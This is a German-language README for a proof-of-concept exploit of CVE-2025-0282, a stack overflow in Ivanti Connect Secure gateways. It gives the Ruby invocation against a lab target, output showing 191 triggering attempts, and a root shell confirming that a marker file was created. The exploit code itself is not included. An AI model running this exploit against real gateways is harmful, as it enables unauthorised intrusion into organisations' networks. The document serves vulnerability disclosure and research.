
PoC für CVE-2025-0282: Ein remote unauthentifizierter Stack-basierter Pufferüberlauf, der Ivanti Connect Secure, Ivanti Policy Secure und Ivanti Neurons for ZTA gateways betrifft
Ein entfernter, nicht authentifizierter stack-basierter Pufferüberlauf, der Ivanti Connect Secure, Ivanti Policy Secure und Ivanti Neurons for ZTA Gateways betrifft
Dies ist ein Proof-of-Concept-Exploit zur Demonstration der Ausnutzung von CVE-2025-0282 und basiert auf der von watchTowr veröffentlichten Ausnutzungsstrategie.
Dieses PoC enthält eine ROP-Kette, die auf Ivanti Connect Secure 22.7r2.4 abzielt. Keine andere Version kann angegriffen werden, ohne zuvor die entsprechende ROP-Kette für diese Zielversion zu erstellen.
Dieses PoC enthält eine Nutzlast (Payload), die einen Betriebssystembefehl ausführt, um eine temporäre Datei auf dem Zielsystem zu erstellen. Daran erkennen Sie, dass der Exploit erfolgreich war. Die Codeausführung erfolgt mit den Rechten des nicht-root-Benutzers nr.
Wir können dieses Skript gegen ein verletzliches Ivanti Connect Secure Ziel mit Version 22.7r2.4 wie folgt ausführen:
C:\Users\sfewer\Desktop\CVE-2025-0282>ruby CVE-2025-0282.rb -t 192.168.86.111 -p 443
[+] Targeting 192.168.86.111:443
[+] Detected version 22.7.2.3597
[2025-01-16 14:39:56 +0000] Starting...
[2025-01-16 14:39:56 +0000] Triggering #1...
[2025-01-16 14:39:57 +0000] Triggering #2...
[2025-01-16 14:40:08 +0000] Triggering #3...
[2025-01-16 14:40:19 +0000] Triggering #4...
[2025-01-16 14:40:30 +0000] Triggering #5...
...snip...
[2025-01-16 15:13:28 +0000] Triggering #188...
[2025-01-16 15:13:38 +0000] Triggering #189...
[2025-01-16 15:13:49 +0000] Triggering #190...
[2025-01-16 15:14:00 +0000] Triggering #191...
Wenn der Exploit erfolgreich ist, schreibt er eine neue Datei in das temporäre Verzeichnis /var/tmp/, wobei eine Zahl, die der Iteration des Exploit-Versuchs entspricht, Teil des Dateinamens ist.
In einer separaten Root-Shell auf dem Zielgerät (die wir durch einen Jailbreak des Geräts eingerichtet haben) können wir beobachten, wann der Exploit erfolgreich war:
bash-4.2# ls -al /var/tmp/hax*
ls -al /var/tmp/hax*
ls: cannot access /var/tmp/hax*: No such file or directory
bash-4.2# ls -al /var/tmp/hax*
ls -al /var/tmp/hax*
-rw-r--r-- 1 nr nr 0 Jan 16 07:10 /var/tmp/haxor_191
bash-4.2#
In diesem Beispiel sehen wir, dass der Exploit 190 fehlgeschlagene Versuche unternahm und beim 191. Versuch erfolgreich war. In diesem Beispiel gelang die Ausnutzung des Ziels also in 34 Minuten.